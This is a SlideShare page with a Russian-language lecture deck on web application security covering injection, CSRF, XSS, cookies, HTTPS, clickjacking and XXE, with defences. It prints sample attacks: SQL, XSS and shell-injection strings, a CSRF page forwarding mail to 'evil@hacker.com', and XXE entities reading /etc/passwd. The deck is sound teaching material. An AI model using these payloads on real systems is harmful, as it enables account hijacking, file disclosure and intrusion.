SlideShare une entreprise Scribd logo
1  sur  28
БЕЗОПАСНОСТЬ ВЕБ-ПРИЛОЖЕНИЙ
          Starter Edition


                            Петухов Андрей
Содержание
Broken Terminology (сегодня)

Broken Web (сегодня и в следующий раз)

Broken Defenses (в следующий раз)
Broken Terminology
Путаница в концептах
✓ Недостаток/Уязвимость/Угроза/Атака
Путаница в классификациях и рейтингах
✓   “аудит по классификации OWASP Top 10”
✓   OWASP Top Ten - рейтинг критичности уязвимостей в веб-приложениях
✓   SANS Top 25 - рейтинг критичности ошибок в ПО
✓   WASC Threat Classification - попытка классификации атак
✓   Common Weakness Enumeration - индуктивная классификация недостатков
Broken Terminology
Путаница в определениях
✓ Wiki: Cross-site scripting (XSS) is a type of computer security vulnerability … that
    enables attackers to inject client-side script into Web pages viewed by other users.
✓ WASC: Cross-site Scripting (XSS) is an attack technique that involves echoing
    attacker-supplied code into a user's browser instance.
✓ OWASP: Cross-Site Scripting attacks are a type of injection problem, in which
    malicious scripts are injected into the otherwise benign and trusted web sites.
✓ CWE-79: The software does not neutralize or incorrectly neutralizes user-controllable
    input before it is placed in output that is used as a web page that is served to other users.

Consider this
✓ XSS - в первую очередь атака!
✓ XSS можно провести через DNS rebinding или Cache Poisoning; подходит ли это
    хотя под одно определение?
✓ The same weakness could be exploited for XSS, redirecting to malicious site (hello,
    Open Redirect!) or even Session Fixation. Try to guess how!
Broken Terminology
To add insult to injury
✓ “открыт новый класс уязвимостей”
 - Simple HowTo: 1) Google for rare DSL with dynamic code execution feature
 - 2) Make a PoC when you can inject DSL-commands into DSL-program
 - 3) Submit your talk about brand new vulnerability class for conference
✓ “открыт принципиально новый вид атак”
✓ [2005 год] CSRF - новый вид атак?
✓ [2008 год] А UI redressing (Clickjacking)?
✓ Говорят, это все Confused Deputy
✓ Еще говорят, новых классов уязвимостей вообще быть не может
✓ А еще говорят, что классификацию уязвимостей вообще невозможно
   построить (см. “A critical analysis of vulnerability taxonomies”)
✓ И последнее: SQLi можно использовать для DoS, можно для Authentication
   Bypass, а можно для Authorization Bypass (Privilege Escalation)
Insight into weaknesses
Есть классификация по времени появления
✓ проектирование, кодирование, внедрение, эксплуатация, [выведение из эксп.]
Большинство уязвимостей появляется
✓ Из-за отсутствия или неполной реализации механизмов обеспечения ИБ
✓ Из-за некорректной обработки входных данных
Downstream Components
✓ Веб-приложение в процессе работы взаимодействует с различными внешними
      подсистемами: СУБД, LDAP, стандартный интерпретатор ОС, почтовый
      демон, браузер, файловая система и т.п.
✓ У большинства подсистем есть свой язык, который она умеет
      интерпретировать: SQL у СУБД, Shell/CMD у стандартного интерпретатора
      ОС, SMTP-команды у почтового демона, HTML и Javascript у браузера и т.п.
✓ Обращения веб-приложения во внешние подсистемы параметризуются: есть
      константная часть и есть переменная, значение которой формируется
      динамически с участием пользовательских данных
  -     шаблоны HTML-страниц, заполняемые данными из СУБД или из запроса
  -     заготовки SQL-запросов, SELECT-критерии в которых заполняются на
        основе входных параметров
  -     заготовки Shell-команд, к которым необходимо добавить только аргумент
  -     обработка запроса http://newsfeed.us.to/news.php?id=17 может включать
        PHP-оператор вида mysql_query(“SELECT * FROM news WHERE id = ”.$id);
The Essence of Injection
✓ В каждом языке определены ключевые слова, разделители, правила
   оформления секций данных (в т.ч. строк и констант):
  ➡ SELECT * FROM news WHERE author = ‘petand’
  ➡ <a href=”/show?id=1”>View first</a>
  ➡ eval({ id: 1, name: "Foo", price: 123})
  ➡ grep -R “search string” *
✓ В каждом запросе или команде к внешней подсистеме есть контекст команд
   (Control Channel) и есть контекст данных (Data Channel)
✓ Injection-атаки становятся возможными, если внешний пользователь сможет
   выйти из контекста данных в контекст команд:
  ➡ SELECT * FROM news WHERE author = ‘petand’ or sleep(5) -- ‘
  ➡ <a href=”/show?id=”1”><script>alert(1)</script><a id=””>View first</a>
  ➡ eval({ id: 1, name: “Foo”});alert(1);//”, price: 123})
  ➡ grep -R “search string” 1; echo “p0wned” #” *

                                                 More here: http://cwe.mitre.org/data/definitions/74.html
Examples of Injection
✓ SQL-операторы
 ➡ если входные данные не обрабатываются при построении SQL-запроса

✓ HTML-разметку
 ➡ если входные данные не обрабатываются при построении HTML-страницы

✓ Javascript-операторы
 ➡ если входные данные не обрабатываются при построении JSON-объекта

✓ CSS-директивы
 ➡ если входные данные не обрабатываются при построении CSS-правил

✓ HTTP-заголовки
 ➡ если входные данные не обрабатываются при построении ответного
   заголовка (например, Location)

✓ XPath-операторы
 ➡ если входные данные не обрабатываются при построении XPath-запроса
Testing for Injection
✓ Методы обнаружения != методы эксплуатации
 ➡ при обнаружении устанавливается факт наличия недостатка
 ➡ при эксплуатации достигается конкретная цель

✓ Что можно наблюдать в режиме черного ящика?
 ➡ статус HTTP-ответа (200 vs 500), заголовки ответа
 ➡ тело ответа, задержку ответа

✓ Надо пытаться выйти за контекст данных
 ➡ надо уметь терминировать текущий контекст данных (пресловутая кавычка)
 ➡ надо уметь добавлять команды так, чтобы итоговый запрос во внешнюю
   подсистему оставался синтаксически корректным и после внедрения
 ➡ надо уметь влиять на наблюдаемое поведение (например, вызывать задержку)

✓ Типичные значения для тестирования
 ➡ 17‘ and sleep(5) --
 ➡ “><script>alert(1);</script><a id=”
Broken Web
Cross-origin resource linking & CSRF
Same Origin Policy & XSS
Content types and content sniffing
WWW-linking
Cross-domain resource linking
➡ <img src=”http://photohosting.com/cute-kitten.jpg” />
➡ <link rel=”stylesheet” type=”text/css” href=”http://othersite/mystyle.css” />
➡ <script src=”http://js-vault.us.to/cute-library.js”></script>
➡ <iframe src=”http://socialnetwork.no/social.windget” />

Ambient credentials
➡ cookies
➡ HTTP-authorization

Let’s have some fun!
CSRF
   <html>
<head><title>All you mail are belong to us</title></head>
<body onload=”CsrfForm.submit();”>
   <img src="http://www.jewelrynutauctions.com/wp-content/uploads/cute-kittens-20-
great-pictures-1.jpg" />
   <form id=”CsrfForm” action=”http://mail/actions/add” method=”POST”>
           <input type=”hidden” name=”type” value=”forward” />
           <input type=”hidden” name=”condition” value=”all” />
           <input type=”hidden” name=”target” value=”evil@hacker.com” />
   </form>
</body>
</html>


   ‣   CSRF - это выполнение действий!
   ‣   Смена пароля, смена почты, добавление админа и т.п.
   ‣   Считывать ответ от CSRF-запроса не даст SOP
   ‣   WTF SOP????
Same Origin Policy
   Зачем какой-то CSRF, когда можно было бы сделать так:
<html>
<!-- HTML page hosted at http://evilhacker.us.to/bank-hijack.html -->
<head><title>All you bank accounts are belong to us</title></head>
<body>
   <!-- Important step of an attack: cute little kittens should still be there! -->
   <img src="http://www.jewelrynutauctions.com/wp-content/uploads/cute-kittens-20-
great-pictures-1.jpg" />
   <iframe name=”bank” src=”https://myprivatebank.no/myaccount/transfers/history” />
   <script> document.bank.document. // <---- read whatever you want! </script>
</body></html>


 SOP simplified: код из одного источника не может читать
 или изменять DOM-объекты другого источника
 Источник = протокол + домен + порт

                                            More here: http://www.w3.org/Security/wiki/Same_Origin_Policy
Cross Site Scripting
Цель XSS - обойти SOP
Для этого надо, чтобы наш javascript вернулся в браузер
пользователя из того источника, DOM которого мы
хотим считывать (https://myprivatebank.no/)
Возможность внедрения HTML-разметки позволяет
сделать ровно это: вставить в приложение скрипт,
который потом загрузит жертва в свой браузер в
контексте нужного источника
В общем случае XSS позволяет делать с уязвимым
сайтом все то же, что может делать пользователь,
загрузивший XSS-скрипт
XSS: common cases
Reflected vs Stored XSS vs [DOM-based]
✓ reflected могут быть отражены AntiXSS фильтрами в браузерах (IE, Chrome,
   NoScript)
✓ про экслуатацию DOM-based затруднительно узнать из логов сервера
With user interaction vs W/o user interaction
Browser specific vs Browser agnostic
XSS over CSRF
XSS exploitation

    The BeeF Project DEMO
http://www.youtube.com/watch?
       v=XsXOYwZkTyo
В следующий раз
Broken cookies
Broken HTTPS
Broken UI (UI redressing)
Атаки класса XXE
Broken Defense (WAF, browser security and other)
Broken cookies
✓ Нужны для реализации сессий (сеансов)
✓ Де-факто используются для аутентификации запросов
✓ Формат Set-Cookie: <name>=<value>[; <name>=<value>]...
    [; expires=<date>][; domain=<domain_name>] [; path=<some_path>]
    [; secure][; httponly]
✓   Scoping: cookie SoP != DOM SoP
    ➡ Не ограничены портом и протоколом (cookie с http://example.com/ уйдут на
      https://example.com:8080/)
    ➡ Трудно ограничить домен
    ➡ Протокол можно ограничить флагом secure

✓ Read more: http://code.google.com/p/browsersec/wiki/Part2#Same-
    origin_policy_for_cookies
Broken cookies: scoping
✓   Атрибут domain отсутствует
✓   Атрибут domain присутствует и содержит wildcard
✓   Атрибут domain присутствует и содержит адрес (warning!)
✓   См. таблицу (взята из The Tangled Web)
✓   Что все это значит?
    ➡ есть сайт site.com с авторизацией
    ➡ есть сайт bar.site.com либо под нашим контролем, либо с XSS => p0wned!
Broken HTTPS
✓ Открытые сети в массы
    ➡ доступны инструменты для пассивного прослушивания трафика
    ➡ доступны инструменты для MiTM

✓ Основные угрозы для критичных приложений
    ➡ перехват учетных данных
    ➡ перехват cookies, которые аутентифицируют запросы

✓ Сайты защищаются от угроз с помощью HTTPS
✓ Пользователи открытых сетей защищаются, работая с
    критичными сайтами в открытых сетях только по HTTPS
✓   Этого не достаточно!
✓   Заблуждение: “если я не открываю через открытую сеть сайт, мои
    учетные данные и cookies в сохранности”. Fail.
✓   Пример перехвата: http://www.youtube.com/watch?v=Bf8pziDavfQ
Broken HTTPS
✓ Как делать правильно:
 ➡ cookies помечать флагом secure (и httponly!)
 ➡ использовать HTTP Strict Transport Security (https://
   developer.mozilla.org/en-US/docs/Security/
   HTTP_Strict_Transport_Security)
Broken UI
✓ Предпосылки:
    ➡ HTML: iframe
    ➡ js: возможность динамически менять размеры и положения элементов,
      навешивать и снимать обработчики событий, менять курсор
    ➡ CSS: свойство opacity, свойство cursor

✓ В общем случае атака называется UI Redressing и имеет много
    видов: clickjacking, strokejacking, cursorjacking, likejacking
✓   Почитать:
    ➡ Кратко: http://podlipensky.com/2012/07/clickjacking-explained/
    ➡ Полно: UI Redressing: Attacks and Countermeasures Revisited

✓ Демо:
    ➡ http://digitalbreed.com/clickjacking-demo/facebook.php
    ➡ http://podlipensky.com/2012/08/cursor-spoofing-cursorjacking/
Broken UI
✓ Защита приложения:
 ➡ Рекомендуется: X-Frame-Options: deny/sameorigin
 ➡ Не рекомендуется: frame-busting code (см. “Busting frame
   busting: a study of clickjacking vulnerabilities at popular sites”)
✓ Защита клиента
 ➡ NoScript (технология ClearClick)
XML и XXE
✓ XML - де-факто стандартный транспорт на прикладном уровне
    (XML-RPC, SOAP)
✓   Документы: правильные и действительные
✓   Парсеры:
    ➡ обычные и валидирующие (DTD и XML Schema)
    ➡ реально распространены: libxml, msxml и xerces

✓ Сущности:
    ➡ внешние и внутренние
    ➡ валидирующий парсер обязан разрешить внешнюю сущность, а
      невалидирующий - по желанию
    ➡ реально многие парсеры по умолчанию всегда разрешают внешние
      сущности
XML и XXE
✓ Что можно сделать:
  ➡ считывать локальные файлы <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ➡ DoS <!ENTITY dos SYSTEM "/dev/zero">
  ➡ сканировать DMZ- сегмент <!ENTITY scan SYSTEM "192.168.1.1C$">
    или <!ENTITY scan SYSTEM "http://10.0.0.1:22/">
  ➡ отправлять произвольные (почти) запросы (SSRF)
      <!ENTITY ssrf SYSTEM "http://internalhost/admin?p=value">
      Hint: вместо http можно использовать любой поддерживаемый протокол!
      Больше в статье SSRF vs. Business-critical applications: XXE tunneling in SAP

✓ Защита:
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
Broken Defense
✓ “Свое мнение” у каждого браузера
 ➡ пример с cookies и IE, AntiXSS фильтры, Content Sniffing
 ➡ недавняя история с багами Оперы; 4lulz http://rutracker.org/
   forum/viewtopic.php?t=4228361
✓ WAF не защищает от атак без синтаксических
  аномалий (т.е. не injection-атак)
 ➡ black-listing vs white-listing
 ➡ black-listing учитывает особенности атак, white -
   защищаемого приложения
 ➡ не injection-атаки (например, атаки на уязвимости
   авторизации) не вызывают синтаксических аномалий
 ➡ не injection-атаки используют особенности приложений
Спасибо за внимание!
                      Вопросы?

Twitter: @p3tand

Blog: https://andrepetukhov.wordpress.com/

Email: andrew.petukhov@internalsecurity.ru

Видео лекций: https://www.youtube.com/playlist?
list=PL2173C4AB816E4F3F

Must read: “The Tangled Web” by Michal Zalewski

Contenu connexe

Tendances

Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.7bits
 
Sql инъекции в тестировании
Sql инъекции в тестированииSql инъекции в тестировании
Sql инъекции в тестированииISsoft
 
Security testing
Security testingSecurity testing
Security testingMageCloud
 
Что, зачем и каким образом следует проверять и тестировать перед запуском сай...
Что, зачем и каким образом следует проверять и тестировать перед запуском сай...Что, зачем и каким образом следует проверять и тестировать перед запуском сай...
Что, зачем и каким образом следует проверять и тестировать перед запуском сай...Alexey Kostin
 
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Sigma Software
 
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...GoQA
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?phpdevby
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxssyaevents
 
Где прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий ЗемсковГде прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий ЗемсковYandex
 
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Badoo Development
 
как не заразить посетителей своего сайта All а.сидоров, п.волков
как не заразить посетителей своего сайта All   а.сидоров, п.волковкак не заразить посетителей своего сайта All   а.сидоров, п.волков
как не заразить посетителей своего сайта All а.сидоров, п.волковOntico
 
«Организация Frontend-разработки на крупном проекте» — Дмитрий Кузнецов
«Организация Frontend-разработки на крупном проекте» — Дмитрий Кузнецов«Организация Frontend-разработки на крупном проекте» — Дмитрий Кузнецов
«Организация Frontend-разработки на крупном проекте» — Дмитрий Кузнецов2ГИС Технологии
 
XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.Дмитрий Бумов
 
Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftDmitry Evteev
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Ontico
 
Svyatoslav Login
Svyatoslav LoginSvyatoslav Login
Svyatoslav LoginDakiry
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложенияMaxim Krentovskiy
 

Tendances (19)

Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
 
Sql инъекции в тестировании
Sql инъекции в тестированииSql инъекции в тестировании
Sql инъекции в тестировании
 
Security testing
Security testingSecurity testing
Security testing
 
Что, зачем и каким образом следует проверять и тестировать перед запуском сай...
Что, зачем и каким образом следует проверять и тестировать перед запуском сай...Что, зачем и каким образом следует проверять и тестировать перед запуском сай...
Что, зачем и каким образом следует проверять и тестировать перед запуском сай...
 
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
 
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
 
PT MIFI Labxss
PT MIFI LabxssPT MIFI Labxss
PT MIFI Labxss
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxss
 
Где прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий ЗемсковГде прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий Земсков
 
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
 
как не заразить посетителей своего сайта All а.сидоров, п.волков
как не заразить посетителей своего сайта All   а.сидоров, п.волковкак не заразить посетителей своего сайта All   а.сидоров, п.волков
как не заразить посетителей своего сайта All а.сидоров, п.волков
 
«Организация Frontend-разработки на крупном проекте» — Дмитрий Кузнецов
«Организация Frontend-разработки на крупном проекте» — Дмитрий Кузнецов«Организация Frontend-разработки на крупном проекте» — Дмитрий Кузнецов
«Организация Frontend-разработки на крупном проекте» — Дмитрий Кузнецов
 
XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.
 
KazHackStan - "><script>alert()</script>
KazHackStan - "><script>alert()</script>KazHackStan - "><script>alert()</script>
KazHackStan - "><script>alert()</script>
 
Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях Microsoft
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
 
Svyatoslav Login
Svyatoslav LoginSvyatoslav Login
Svyatoslav Login
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложения
 

En vedette

Обнаружение уязвимостей в механизме авторизации веб-приложении
Обнаружение уязвимостей в механизме авторизации веб-приложенииОбнаружение уязвимостей в механизме авторизации веб-приложении
Обнаружение уязвимостей в механизме авторизации веб-приложенииAndrew Petukhov
 
Introduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseIntroduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseSurya Subhash
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request ForgeryTony Bibbs
 
Inherited Marketo? Making it Work for Your Organization
Inherited Marketo? Making it Work for Your OrganizationInherited Marketo? Making it Work for Your Organization
Inherited Marketo? Making it Work for Your OrganizationCindy Zhou
 
Bryan orozco
Bryan orozcoBryan orozco
Bryan orozconegro220
 
Flashtennis semanario 28 noviembre 2016
Flashtennis semanario 28 noviembre 2016Flashtennis semanario 28 noviembre 2016
Flashtennis semanario 28 noviembre 2016Edgar Gonzalez Allegre
 
CV complete on English Edo
CV complete on English EdoCV complete on English Edo
CV complete on English EdoEdward Prasetyo
 
Portofino 4: Creare Webapp da Database Esistenti in 30 Secondi
Portofino 4: Creare Webapp da Database Esistenti in 30 SecondiPortofino 4: Creare Webapp da Database Esistenti in 30 Secondi
Portofino 4: Creare Webapp da Database Esistenti in 30 SecondiPaolo Predonzani
 
Design for Hypermedia - Class 08 (2015B)
Design for Hypermedia - Class 08 (2015B)Design for Hypermedia - Class 08 (2015B)
Design for Hypermedia - Class 08 (2015B)Bryan Chung
 
Create first-web application-googleappengine
Create first-web application-googleappengineCreate first-web application-googleappengine
Create first-web application-googleappenginemarwa Ayad Mohamed
 
5. material e instrumental sanitario
5. material e instrumental sanitario5. material e instrumental sanitario
5. material e instrumental sanitariocaedhmh
 
Understanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryUnderstanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryDaniel Miessler
 
Illegal immigration
Illegal immigrationIllegal immigration
Illegal immigrationmrbruns
 
Ali Murtadlo Bni life id
Ali Murtadlo Bni life idAli Murtadlo Bni life id
Ali Murtadlo Bni life idAli Murtadlo
 
A8 cross site request forgery (csrf) it 6873 presentation
A8 cross site request forgery (csrf)   it 6873 presentationA8 cross site request forgery (csrf)   it 6873 presentation
A8 cross site request forgery (csrf) it 6873 presentationAlbena Asenova-Belal
 

En vedette (20)

Обнаружение уязвимостей в механизме авторизации веб-приложении
Обнаружение уязвимостей в механизме авторизации веб-приложенииОбнаружение уязвимостей в механизме авторизации веб-приложении
Обнаружение уязвимостей в механизме авторизации веб-приложении
 
CSRF Basics
CSRF BasicsCSRF Basics
CSRF Basics
 
Introduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseIntroduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & Defense
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request Forgery
 
Inherited Marketo? Making it Work for Your Organization
Inherited Marketo? Making it Work for Your OrganizationInherited Marketo? Making it Work for Your Organization
Inherited Marketo? Making it Work for Your Organization
 
The malware (r)evolution
The malware (r)evolutionThe malware (r)evolution
The malware (r)evolution
 
Bryan orozco
Bryan orozcoBryan orozco
Bryan orozco
 
Flashtennis semanario 28 noviembre 2016
Flashtennis semanario 28 noviembre 2016Flashtennis semanario 28 noviembre 2016
Flashtennis semanario 28 noviembre 2016
 
CV complete on English Edo
CV complete on English EdoCV complete on English Edo
CV complete on English Edo
 
55 mais perto da tua cruz
55   mais perto da tua cruz55   mais perto da tua cruz
55 mais perto da tua cruz
 
Portofino 4: Creare Webapp da Database Esistenti in 30 Secondi
Portofino 4: Creare Webapp da Database Esistenti in 30 SecondiPortofino 4: Creare Webapp da Database Esistenti in 30 Secondi
Portofino 4: Creare Webapp da Database Esistenti in 30 Secondi
 
Design for Hypermedia - Class 08 (2015B)
Design for Hypermedia - Class 08 (2015B)Design for Hypermedia - Class 08 (2015B)
Design for Hypermedia - Class 08 (2015B)
 
Create first-web application-googleappengine
Create first-web application-googleappengineCreate first-web application-googleappengine
Create first-web application-googleappengine
 
5. material e instrumental sanitario
5. material e instrumental sanitario5. material e instrumental sanitario
5. material e instrumental sanitario
 
Understanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryUnderstanding Cross-site Request Forgery
Understanding Cross-site Request Forgery
 
Illegal immigration
Illegal immigrationIllegal immigration
Illegal immigration
 
Ali Murtadlo Bni life id
Ali Murtadlo Bni life idAli Murtadlo Bni life id
Ali Murtadlo Bni life id
 
Truth table
Truth tableTruth table
Truth table
 
A8 cross site request forgery (csrf) it 6873 presentation
A8 cross site request forgery (csrf)   it 6873 presentationA8 cross site request forgery (csrf)   it 6873 presentation
A8 cross site request forgery (csrf) it 6873 presentation
 
Tuberculosis
TuberculosisTuberculosis
Tuberculosis
 

Similaire à Безопасность веб-приложений: starter edition

Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Andrew Mayorov
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs wafd0znp
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровYandex
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волковkarina krew
 
Web deployment
Web deploymentWeb deployment
Web deploymentGetDev.NET
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)c3retc3
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4rit2011
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодняDmitry Evteev
 
Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Maksim Kochkin
 
Pt devteev-risspa
Pt devteev-risspaPt devteev-risspa
Pt devteev-risspayaevents
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NETPositive Hack Days
 
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2GoQA
 
Пост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеПост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеbeched
 
Web осень 2012 лекция 10
Web осень 2012 лекция 10Web осень 2012 лекция 10
Web осень 2012 лекция 10Technopark
 
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Sigma Software
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Ontico
 
Как обезопасить PBN от взлома? Практические рекомендации
Как обезопасить PBN от взлома? Практические рекомендацииКак обезопасить PBN от взлома? Практические рекомендации
Как обезопасить PBN от взлома? Практические рекомендацииNaZapad
 
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''DneprCiklumEvents
 

Similaire à Безопасность веб-приложений: starter edition (20)

Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
 
176023
176023176023
176023
 
PT MIFI Labxss
PT  MIFI LabxssPT  MIFI Labxss
PT MIFI Labxss
 
Web deployment
Web deploymentWeb deployment
Web deployment
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодня
 
Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)
 
Pt devteev-risspa
